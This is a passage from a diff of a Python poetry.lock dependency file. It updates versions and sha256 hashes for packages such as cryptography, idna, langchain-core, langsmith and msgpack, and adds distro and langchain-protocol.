"sha256:b39efa323140595abd3ecca8529d321ae50f55f3aa3ba9cc81ea56a6011953d5"}, + {file = "cryptography-49.0.0-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:b47db11c2c3525083296069b98ac5221907455e989ae0c2e3008bde851921615"}, + {file = "cryptography-49.0.0-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:084ef1af862eb07ec46d25f68689f2102a9fc0e05ce7b80f14f5fe51e4eef0f6"}, + {file = "cryptography-49.0.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:be9fcb48a55f023493482827d4f459bd263cc20efde64f204b97c123201850c6"}, + {file = "cryptography-49.0.0.tar.gz", hash = "sha256:f89660a348f4f78a92366240a61404e337586ef7f5909a2fef59ca88ef505493"}, ] [package.dependencies] -cffi = {version = ">=2.0.0", markers = "python_full_version >= \"3.9.0\" and platform_python_implementation != \"PyPy\""} +cffi = {version = ">=2.0.0", markers = "platform_python_implementation != \"PyPy\""} typing-extensions = {version = ">=4.13.2", markers = "python_full_version < \"3.11.0\""} [package.extras] @@ -719,6 +721,18 @@ files = [ {file = "distlib-0.4.0.tar.gz", hash = "sha256:feec40075be03a04501a973d81f633735b4b69f98b05450592310c0f401a4e0d"}, ] +[[package]] +name = "distro" +version = "1.9.0" +description = "Distro - an OS platform information API" +optional = false +python-versions = ">=3.6" +groups = ["dev"] +files = [ + {file = "distro-1.9.0-py3-none-any.whl", hash = "sha256:7bffd925d65168f85027d8da9af6bddab658135b840670a223589bc0c8ef02b2"}, + {file = "distro-1.9.0.tar.gz", hash = "sha256:2fa77c6fd8940f116ee1d6b94a2f90b13b5ea8d019b98bc8bafdcabcdd9bdbed"}, +] + [[package]] name = "dnspython" version = "2.8.0" @@ -875,14 +889,14 @@ tasks = ["pydocket (>=0.19.0)"] [[package]] name = "filelock" -version = "3.19.1" +version = "3.29.5" description = "A platform independent file lock." optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["dev"] files = [ - {file = "filelock-3.19.1-py3-none-any.whl", hash = "sha256:d38e30481def20772f5baf097c122c3babc4fcdb7e14e57049eb9d88c6dc017d"}, - {file = "filelock-3.19.1.tar.gz", hash = "sha256:66eda1888b0171c998b35be2bcc0f6d75c388a7ce20c3f3f37aa8e96c2dddf58"}, + {file = "filelock-3.29.5-py3-none-any.whl", hash = "sha256:8af830889ba3a0ffcefbd6c7d2af8a54012058103771f2e10848222f476a1693"}, + {file = "filelock-3.29.5.tar.gz", hash = "sha256:6e6034c57a00a020e767f2614a5539863f056de7e7991d6d1473aef7ff73f156"}, ] [[package]] @@ -1061,18 +1075,18 @@ license = ["ukkonen"] [[package]] name = "idna" -version = "3.10" +version = "3.18" description = "Internationalized Domain Names in Applications (IDNA)" optional = false -python-versions = ">=3.6" +python-versions = ">=3.9" groups = ["main", "dev"] files = [ - {file = "idna-3.10-py3-none-any.whl", hash = "sha256:946d195a0d259cbba61165e88e65941f16e9b36ea6ddb97f00452bae8b1287d3"}, - {file = "idna-3.10.tar.gz", hash = "sha256:12f65c9b470abda6dc35cf8e63cc574b1c52b11df2c86030af0ac09b01b13ea9"}, + {file = "idna-3.18-py3-none-any.whl", hash = "sha256:7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2"}, + {file = "idna-3.18.tar.gz", hash = "sha256:ffb385a7e039654cef1ab9ef32c6fafe283c0c0467bba1d9029738ce4a14a848"}, ] [package.extras] -all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"] +all = ["mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"] [[package]] name = "importlib-metadata" @@ -1194,14 +1208,14 @@ trio = ["trio"] [[package]] name = "joserfc" -version = "1.6.4" +version = "1.7.2" description = "The ultimate Python library for JOSE RFCs, including JWS, JWE, JWK, JWA, JWT" optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["main"] files = [ - {file = "joserfc-1.6.4-py3-none-any.whl", hash = "sha256:3e4a22b509b41908989237a045e25c8308d5fd47ab96bdae2dd8057c6451003a"}, - {file = "joserfc-1.6.4.tar.gz", hash = "sha256:34ce5f499bfcc5e9ad4cc75077f9278ab3227b71da9aaf28f9ab705f8a560d3c"}, + {file = "joserfc-1.7.2-py3-none-any.whl", hash = "sha256:ddd818c0ca9b4f17bbc2d72cb3966e6ded7502be089316c62c3cc64ae86132b5"}, + {file = "joserfc-1.7.2.tar.gz", hash = "sha256:537ffb8888b2df039cb5b6d017d7cff6f09d521ce65d89cc9b8ab752b1cff947"}, ] [package.dependencies] @@ -1263,7 +1277,7 @@ files = [ [package.dependencies] attrs = ">=22.2.0" -jsonschema-specifications = ">=2023.3.6" +jsonschema-specifications = ">=2023.03.6" referencing = ">=0.28.4" rpds-py = ">=0.7.1" @@ -1336,24 +1350,26 @@ type = ["pygobject-stubs", "pytest-mypy (>=1.0.1)", "shtab", "types-pywin32"] [[package]] name = "langchain-core" -version = "1.0.5" +version = "1.4.8" description = "Building applications with LLMs through composability" optional = false python-versions = "<4.0.0,>=3.10.0" groups = ["dev"] files = [ - {file = "langchain_core-1.0.5-py3-none-any.whl", hash = "sha256:d24c0cf12cfcd96dd4bd479aa91425f3a6652226cd824228ae422a195067b74e"}, - {file = "langchain_core-1.0.5.tar.gz", hash = "sha256:7ecbad9a60dde626252733a9c18c7377f4468cfe00465ffa99f5e9c6cb9b82d2"}, + {file = "langchain_core-1.4.8-py3-none-any.whl", hash = "sha256:d84c28b05e3ba8d4271d0827aad5b592ccdaaf986e76768c23503f0a2045e8aa"}, + {file = "langchain_core-1.4.8.tar.gz", hash = "sha256:5bf1f8411077c904182ad8f975943d36adcbf579c4e017b3a118b719229ebf9a"}, ] [package.dependencies] jsonpatch = ">=1.33.0,<2.0.0" +langchain-protocol = ">=0.0.17" langsmith = ">=0.3.45,<1.0.0" -packaging = ">=23.2.0,<26.0.0" +packaging = ">=23.2.0" pydantic = ">=2.7.4,<3.0.0" pyyaml = ">=5.3.0,<7.0.0" tenacity = ">=8.1.0,<8.4.0 || >8.4.0,<10.0.0" typing-extensions = ">=4.7.0,<5.0.0" +uuid-utils = ">=0.12.0,<1.0" [[package]] name = "langchain-mcp-adapters" @@ -1372,33 +1388,61 @@ langchain-core = ">=0.3.36,<2.0.0" mcp = ">=1.9.2" typing-extensions = ">=4.14.0" +[[package]] +name = "langchain-protocol" +version = "0.0.18" +description = "Python bindings for the LangChain agent streaming protocol" +optional = false +python-versions = "<4.0.0,>=3.10.0" +groups = ["dev"] +files = [ + {file = "langchain_protocol-0.0.18-py3-none-any.whl", hash = "sha256:70b53a86fbf9cedc863555effe44da192ab02d556ddbf2cf95b8873adcf41b5a"}, + {file = "langchain_protocol-0.0.18.tar.gz", hash = "sha256:ec3e11782f1ed0c9db38e5a9ed01b0e7a0d3fba406faa8aef6594b73c56a63e6"}, +] + +[package.dependencies] +typing-extensions = ">=4.13.0,<5.0.0" + [[package]] name = "langsmith" -version = "0.4.43" +version = "0.9.7" description = "Client library to connect to the LangSmith Observability and Evaluation Platform." optional = false python-versions = ">=3.10" groups = ["dev"] files = [ - {file = "langsmith-0.4.43-py3-none-any.whl", hash = "sha256:c97846a0b15061bc15844aac32fd1ce4a8e50983905f80a0d6079bb41b112ae3"}, - {file = "langsmith-0.4.43.tar.gz", hash = "sha256:75c2468ab740438adfb32af8595ad8837c3af2bd1cdaf057d534182c5a07407a"}, + {file = "langsmith-0.9.7-py3-none-any.whl", hash = "sha256:a5ff9179b77eb0c3a0129294d30924eab13e51e2720f374372dbbc014c892911"}, + {file = "langsmith-0.9.7.tar.gz", hash = "sha256:40f8a66a466a7abd991a9df1b50de0a9d30c48ee0d3da46ce00516b68e41c9d7"}, ] [package.dependencies] +anyio = ">=3.5.0" +distro = ">=1.7.0" httpx = ">=0.23.0,<1" orjson = {version = ">=3.9.14", markers = "platform_python_implementation != \"PyPy\""} packaging = ">=23.2" -pydantic = ">=1,<3" +pydantic = ">=2,<3" requests = ">=2.0.0" requests-toolbelt = ">=1.0.0" +sniffio = ">=1.1" +typing-extensions = ">=4.0.0" +uuid-utils = ">=0.12.0,<1.0" +websockets = ">=15.0" +xxhash = ">=3.0.0" zstandard = ">=0.23.0" [package.extras] claude-agent-sdk = ["claude-agent-sdk (>=0.1.0) ; python_version >= \"3.10\""] +google-adk = ["google-adk (>=1.0.0)", "wrapt (>=1.16.0)"] +google-adk-live = ["google-adk (>=1.14.0)"] langsmith-pyo3 = ["langsmith-pyo3 (>=0.1.0rc2)"] +livekit = ["cachetools (>=5.0.0)", "livekit-agents (>=1.0)", "opentelemetry-api (>=1.30.0)", "opentelemetry-exporter-otlp-proto-http (>=1.30.0)", "opentelemetry-sdk (>=1.30.0)"] openai-agents = ["openai-agents (>=0.0.3)"] +openai-realtime = ["openai (>=1.50)", "openai-agents (>=0.0.3)"] otel = ["opentelemetry-api (>=1.30.0)", "opentelemetry-exporter-otlp-proto-http (>=1.30.0)", "opentelemetry-sdk (>=1.30.0)"] +pipecat = ["cachetools (>=5.0.0)", "opentelemetry-api (>=1.30.0)", "opentelemetry-exporter-otlp-proto-http (>=1.30.0)", "opentelemetry-sdk (>=1.30.0)", "pipecat-ai (>=1.0) ; python_version >= \"3.11\""] pytest = ["pytest (>=7.0.0)", "rich (>=13.9.4)", "vcrpy (>=7.0.0)"] +strands-agents = ["opentelemetry-api (>=1.30.0)", "opentelemetry-exporter-otlp-proto-http (>=1.30.0)", "opentelemetry-sdk (>=1.30.0)", "strands-agents (>=0.1.0)", "strands-agents-tools (>=0.2.0)"] vcr = ["vcrpy (>=7.0.0)"] [[package]] @@ -1513,71 +1557,78 @@ files = [ [[package]] name = "msgpack" -version = "1.1.1" +version = "1.2.1" description = "MessagePack serializer" optional = false -python-versions = ">=3.8" +python-versions = ">=3.10" groups = ["main"] files = [ - {file = "msgpack-1.1.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:353b6fc0c36fde68b661a12949d7d49f8f51ff5fa019c1e47c87c4ff34b080ed"}, - {file = "msgpack-1.1.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:79c408fcf76a958491b4e3b103d1c417044544b68e96d06432a189b43d1215c8"}, - {file = "msgpack-1.1.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:78426096939c2c7482bf31ef15ca219a9e24460289c00dd0b94411040bb73ad2"}, - {file = "msgpack-1.1.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b17ba27727a36cb73aabacaa44b13090feb88a01d012c0f4be70c00f75048b4"}, - {file = "msgpack-1.1.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7a17ac1ea6ec3c7687d70201cfda3b1e8061466f28f686c24f627cae4ea8efd0"}, - {file = "msgpack-1.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:88d1e966c9235c1d4e2afac21ca83933ba59537e2e2727a999bf3f515ca2af26"}, - {file = "msgpack-1.1.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:f6d58656842e1b2ddbe07f43f56b10a60f2ba5826164910968f5933e5178af75"}, - {file = "msgpack-1.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:96decdfc4adcbc087f5ea7ebdcfd3dee9a13358cae6e81d54be962efc38f6338"}, - {file = "msgpack-1.1.1-cp310-cp310-win32.whl", hash = "sha256:6640fd979ca9a212e4bcdf6eb74051ade2c690b862b679bfcb60ae46e6dc4bfd"}, - {file = "msgpack-1.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:8b65b53204fe1bd037c40c4148d00ef918eb2108d24c9aaa20bc31f9810ce0a8"}, - {file = "msgpack-1.1.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:71ef05c1726884e44f8b1d1773604ab5d4d17729d8491403a705e649116c9558"}, - {file = "msgpack-1.1.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:36043272c6aede309d29d56851f8841ba907a1a3d04435e43e8a19928e243c1d"}, - {file = "msgpack-1.1.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a32747b1b39c3ac27d0670122b57e6e57f28eefb725e0b625618d1b59bf9d1e0"}, - {file = "msgpack-1.1.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8a8b10fdb84a43e50d38057b06901ec9da52baac6983d3f709d8507f3889d43f"}, - {file = "msgpack-1.1.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ba0c325c3f485dc54ec298d8b024e134acf07c10d494ffa24373bea729acf704"}, - {file = "msgpack-1.1.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:88daaf7d146e48ec71212ce21109b66e06a98e5e44dca47d853cbfe171d6c8d2"}, - {file = "msgpack-1.1.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:d8b55ea20dc59b181d3f47103f113e6f28a5e1c89fd5b67b9140edb442ab67f2"}, - {file = "msgpack-1.1.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:4a28e8072ae9779f20427af07f53bbb8b4aa81151054e882aee333b158da8752"}, - {file = "msgpack-1.1.1-cp311-cp311-win32.whl", hash = "sha256:7da8831f9a0fdb526621ba09a281fadc58ea12701bc709e7b8cbc362feabc295"}, - {file = "msgpack-1.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:5fd1b58e1431008a57247d6e7cc4faa41c3607e8e7d4aaf81f7c29ea013cb458"}, - {file = "msgpack-1.1.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:ae497b11f4c21558d95de9f64fff7053544f4d1a17731c866143ed6bb4591238"}, - {file = "msgpack-1.1.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:33be9ab121df9b6b461ff91baac6f2731f83d9b27ed948c5b9d1978ae28bf157"}, - {file = "msgpack-1.1.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6f64ae8fe7ffba251fecb8408540c34ee9df1c26674c50c4544d72dbf792e5ce"}, - {file = "msgpack-1.1.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a494554874691720ba5891c9b0b39474ba43ffb1aaf32a5dac874effb1619e1a"}, - {file = "msgpack-1.1.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cb643284ab0ed26f6957d969fe0dd8bb17beb567beb8998140b5e38a90974f6c"}, - {file = "msgpack-1.1.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d275a9e3c81b1093c060c3837e580c37f47c51eca031f7b5fb76f7b8470f5f9b"}, - {file = "msgpack-1.1.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:4fd6b577e4541676e0cc9ddc1709d25014d3ad9a66caa19962c4f5de30fc09ef"}, - {file = "msgpack-1.1.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:bb29aaa613c0a1c40d1af111abf025f1732cab333f96f285d6a93b934738a68a"}, - {file = "msgpack-1.1.1-cp312-cp312-win32.whl", hash = "sha256:870b9a626280c86cff9c576ec0d9cbcc54a1e5ebda9cd26dab12baf41fee218c"}, - {file = "msgpack-1.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:5692095123007180dca3e788bb4c399cc26626da51629a31d40207cb262e67f4"}, - {file = "msgpack-1.1.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:3765afa6bd4832fc11c3749be4ba4b69a0e8d7b728f78e68120a157a4c5d41f0"}, - {file = "msgpack-1.1.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:8ddb2bcfd1a8b9e431c8d6f4f7db0773084e107730ecf3472f1dfe9ad583f3d9"}, - {file = "msgpack-1.1.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:196a736f0526a03653d829d7d4c5500a97eea3648aebfd4b6743875f28aa2af8"}, - {file = "msgpack-1.1.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d592d06e3cc2f537ceeeb23d38799c6ad83255289bb84c2e5792e5a8dea268a"}, - {file = "msgpack-1.1.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4df2311b0ce24f06ba253fda361f938dfecd7b961576f9be3f3fbd60e87130ac"}, - {file = "msgpack-1.1.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e4141c5a32b5e37905b5940aacbc59739f036930367d7acce7a64e4dec1f5e0b"}, - {file = "msgpack-1.1.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b1ce7f41670c5a69e1389420436f41385b1aa2504c3b0c30620764b15dded2e7"}, - {file = "msgpack-1.1.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4147151acabb9caed4e474c3344181e91ff7a388b888f1e19ea04f7e73dc7ad5"}, - {file = "msgpack-1.1.1-cp313-cp313-win32.whl", hash = "sha256:500e85823a27d6d9bba1d057c871b4210c1dd6fb01fbb764e37e4e8847376323"}, - {file = "msgpack-1.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:6d489fba546295983abd142812bda76b57e33d0b9f5d5b71c09a583285506f69"}, - {file = "msgpack-1.1.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bba1be28247e68994355e028dcd668316db30c1f758d3241a7b903ac78dcd285"}, - {file = "msgpack-1.1.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b8f93dcddb243159c9e4109c9750ba5b335ab8d48d9522c5308cd05d7e3ce600"}, - {file = "msgpack-1.1.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2fbbc0b906a24038c9958a1ba7ae0918ad35b06cb449d398b76a7d08470b0ed9"}, - {file = "msgpack-1.1.1-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:61e35a55a546a1690d9d09effaa436c25ae6130573b6ee9829c37ef0f18d5e78"}, - {file = "msgpack-1.1.1-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:1abfc6e949b352dadf4bce0eb78023212ec5ac42f6abfd469ce91d783c149c2a"}, - {file = "msgpack-1.1.1-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:996f2609ddf0142daba4cefd767d6db26958aac8439ee41db9cc0db9f4c4c3a6"}, - {file = "msgpack-1.1.1-cp38-cp38-win32.whl", hash = "sha256:4d3237b224b930d58e9d83c81c0dba7aacc20fcc2f89c1e5423aa0529a4cd142"}, - {file = "msgpack-1.1.1-cp38-cp38-win_amd64.whl", hash = "sha256:da8f41e602574ece93dbbda1fab24650d6bf2a24089f9e9dbb4f5730ec1e58ad"}, - {file = "msgpack-1.1.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:f5be6b6bc52fad84d010cb45433720327ce886009d862f46b26d4d154001994b"}, - {file = "msgpack-1.1.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:3a89cd8c087ea67e64844287ea52888239cbd2940884eafd2dcd25754fb72232"}, - {file = "msgpack-1.1.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1d75f3807a9900a7d575d8d6674a3a47e9f227e8716256f35bc6f03fc597ffbf"}, - {file = "msgpack-1.1.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d182dac0221eb8faef2e6f44701812b467c02674a322c739355c39e94730cdbf"}, - {file = "msgpack-1.1.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1b13fe0fb4aac1aa5320cd693b297fe6fdef0e7bea5518cbc2dd5299f873ae90"}, - {file = "msgpack-1.1.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:435807eeb1bc791ceb3247d13c79868deb22184e1fc4224808750f0d7d1affc1"}, - {file = "msgpack-1.1.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:4835d17af722609a45e16037bb1d4d78b7bdf19d6c0128116d178956618c4e88"}, - {file = "msgpack-1.1.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:a8ef6e342c137888ebbfb233e02b8fbd689bb5b5fcc59b34711ac47ebd504478"}, - {file = "msgpack-1.1.1-cp39-cp39-win32.whl", hash = "sha256:61abccf9de335d9efd149e2fff97ed5974f2481b3353772e8e2dd3402ba2bd57"}, - {file = "msgpack-1.1.1-cp39-cp39-win_amd64.whl", hash = "sha256:40eae974c873b2992fd36424a5d9407f93e97656d999f43fca9d29f820899084"}, - {file = "msgpack-1.1.1.tar.gz", hash = "sha256:77b79ce34a2bdab2594f490c8e80dd62a02d650b91a75159a63ec413b8d104cd"}, + {file = "msgpack-1.2.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:8c7b398c56ff125feae96c2737abfec5595f1fa0aa186df60c56040b8accb95c"}, + {file = "msgpack-1.2.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:1548006a91aa93c5da81f3bdcebc1a0d10cea2d25969754fbe848da622b2b895"}, + {file = "msgpack-1.2.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1dabedcd0f23559f3596428c6589c1cd8c6eaed3a0d720795b07b0225d769203"}, + {file = "msgpack-1.2.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:83efa1c898e0fc5380fc0cabbf75164c52e3b5cbb45973710d75821928380c73"}, + {file = "msgpack-1.2.1-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:01e2dd6c9b19d333a00282330cc8a73d38d8dabc306dc5b42cd668c3ac82e833"}, + {file = "msgpack-1.2.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:350cb813d0af6e65d2f7ef0d729f7ff5be5a8bce03665892f43e5883d4ecc1b8"}, + {file = "msgpack-1.2.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:ee1d9ed27d0497b848923746cf762ed2e7db24f4be7eec8e5cbe8c766aa707b7"}, + {file = "msgpack-1.2.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:633727297ed063441fd1cda2288865487f33ad14eeb8831afb5f0c396a62cfce"}, + {file = "msgpack-1.2.1-cp310-cp310-win32.whl", hash = "sha256:298872ecf9e61950f1c6af4ca969b859ee91783bb920ef6e6172697d0c8aad74"}, + {file = "msgpack-1.2.1-cp310-cp310-win_amd64.whl", hash = "sha256:2ff164c1b0bcb740b073b99e945234d0212852fa378e44a208c425379140dbeb"}, + {file = "msgpack-1.2.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:29a3f6e9667868429d8240dfd063ea5ffdc1321c13d783aa23827a38de0dcb22"}, + {file = "msgpack-1.2.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:aded5bdf32609dc7987a49bbbd15a8ef096193f96dd8bbeb791de729e650acf5"}, + {file = "msgpack-1.2.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:146ee4e9ce80b365c6d4c47073da9da7bcec473e58194ceee5dd7620ace77e06"}, + {file = "msgpack-1.2.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a28d076ca7c82b9c8728ad90b7147489449557038bed50e4241eb832395169b4"}, + {file = "msgpack-1.2.1-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:7d31c0ac0c640f877804c67cb2bc9f4e23dc2db97e96c2e67fa27d38283b41f8"}, + {file = "msgpack-1.2.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8ff92d7feeaf5bc26c51495b69e2f99ed97ab79346fb6555f44be7dd2ac6503b"}, + {file = "msgpack-1.2.1-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:779197a6513bab3c3632265e3d0f7cb3227e62510841a6f34f1eaa37efbb345e"}, + {file = "msgpack-1.2.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:67f6dd22fa72a93752643f07889796d62739a13415ee630169a8ce764f86cf9f"}, + {file = "msgpack-1.2.1-cp311-cp311-win32.whl", hash = "sha256:91054a783328e0ea7954b8771095705c8d2243b814743fbaadf14552c9c52c5d"}, + {file = "msgpack-1.2.1-cp311-cp311-win_amd64.whl", hash = "sha256:2eda0b7ebb1283a98d3e4492ac933c8af6aff59fd3df1c3ed024f536af4b1dc8"}, + {file = "msgpack-1.2.1-cp311-cp311-win_arm64.whl", hash = "sha256:6ee967f7c7e1df2890c671ff2ee51a28ded0efc95da3e507176dee881ce36c66"}, + {file = "msgpack-1.2.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:2ef59c659f289eddf8aa6623823f19fa2f40a4029266889eac7a2505dd210c35"}, + {file = "msgpack-1.2.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:d3567748a5107cb40cdf66a275430c2f87c07777698f4bfd25c35f44d533258c"}, + {file = "msgpack-1.2.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:60926b75d00c8e816ef98f3034f484a8bc64242d66839cef4cf7e503142316a0"}, + {file = "msgpack-1.2.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:020e881a764b20d8d7ca1a54fc01b8175519d108e3c3f194fddc200bda95951a"}, + {file = "msgpack-1.2.1-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:4202c74688ca06591f78cb18988228bd4cca2cc75d57b60008372892d2f1e6e6"}, + {file = "msgpack-1.2.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8b267ce94efb76fbd1b3373511420074ee3187f0f7811bf394531de13294735a"}, + {file = "msgpack-1.2.1-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:e4f1d0f8f98ade9634e01fb704a408f9336c0a8f1117b369f5db83dc7551d8b1"}, + {file = "msgpack-1.2.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:f02cf17a6ca1abe29b5f980644f7551f94d71f2011509b26d8625ce038f0df64"}, + {file = "msgpack-1.2.1-cp312-cp312-win32.whl", hash = "sha256:0c0d9802354507bcba62af19c17918e3eb437cc25e6f50657d511b5856a77aac"}, + {file = "msgpack-1.2.1-cp312-cp312-win_amd64.whl", hash = "sha256:5c24aa15d5963051e1a5c62b12c50cd705992502b5ec1f3bece6046f33c9fc24"}, + {file = "msgpack-1.2.1-cp312-cp312-win_arm64.whl", hash = "sha256:4227224aaec8f7fbcbfbd4272319347b2bb4030366502600f8c45588c5187b07"}, + {file = "msgpack-1.2.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0a70e3cf2804a300d921bb0940426e35f4e489a23adfb77a808892241db0a064"}, + {file = "msgpack-1.2.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:491cc39455ca765fad51fb451bf2915eb2cf41192ab5801ce8d67c1d614fe056"}, + {file = "msgpack-1.2.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f310233ef7fb9c14e201c93639fe5f5260b005f56f0b29048e999c30935596cc"}, + {file = "msgpack-1.2.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:787c9bebb5833e8f6fc8abca3c0597683d8d87f56a8842b6b89c75a5f3176e2d"}, + {file = "msgpack-1.2.1-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:dc871b997a9370d855b7394465f2f350e847a5b806dd38dcc9c989e7d87da155"}, + {file = "msgpack-1.2.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:85f57e960d877f2977f6430896191b04a21f8901b3b4baf2e4604329f4db5402"}, + {file = "msgpack-1.2.1-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:1233ee2dd0cefba127583de50ea654677277047d238303521db35def3d7b2e7c"}, + {file = "msgpack-1.2.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:e3dc2feb0876209d9c38aa56cb1de169bd6c4348f1aa48271f241226590993e6"}, + {file = "msgpack-1.2.1-cp313-cp313-win32.whl", hash = "sha256:6d09badf350af2be9d189184e04e64cf54ad93569ab3d96fca58bd3e84aad707"}, + {file = "msgpack-1.2.1-cp313-cp313-win_amd64.whl", hash = "sha256:33f14fba63278b714efe6ad07e50ea5f03d91537aa6a1c5f1ceca4cf44013ca9"}, + {file = "msgpack-1.2.1-cp313-cp313-win_arm64.whl", hash = "sha256:afc5febcd4c99effbc02b528e49d6fd0760b2b7d48c05239e345a5fa6e743d9a"}, + {file = "msgpack-1.2.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:05f340e47e7e47d2da8db9b53e1bb1d294369e9ef45a747441309f6650b8351d"}, + {file = "msgpack-1.2.1-cp314-cp314-macosx_11_0_arm64.whl", hash = 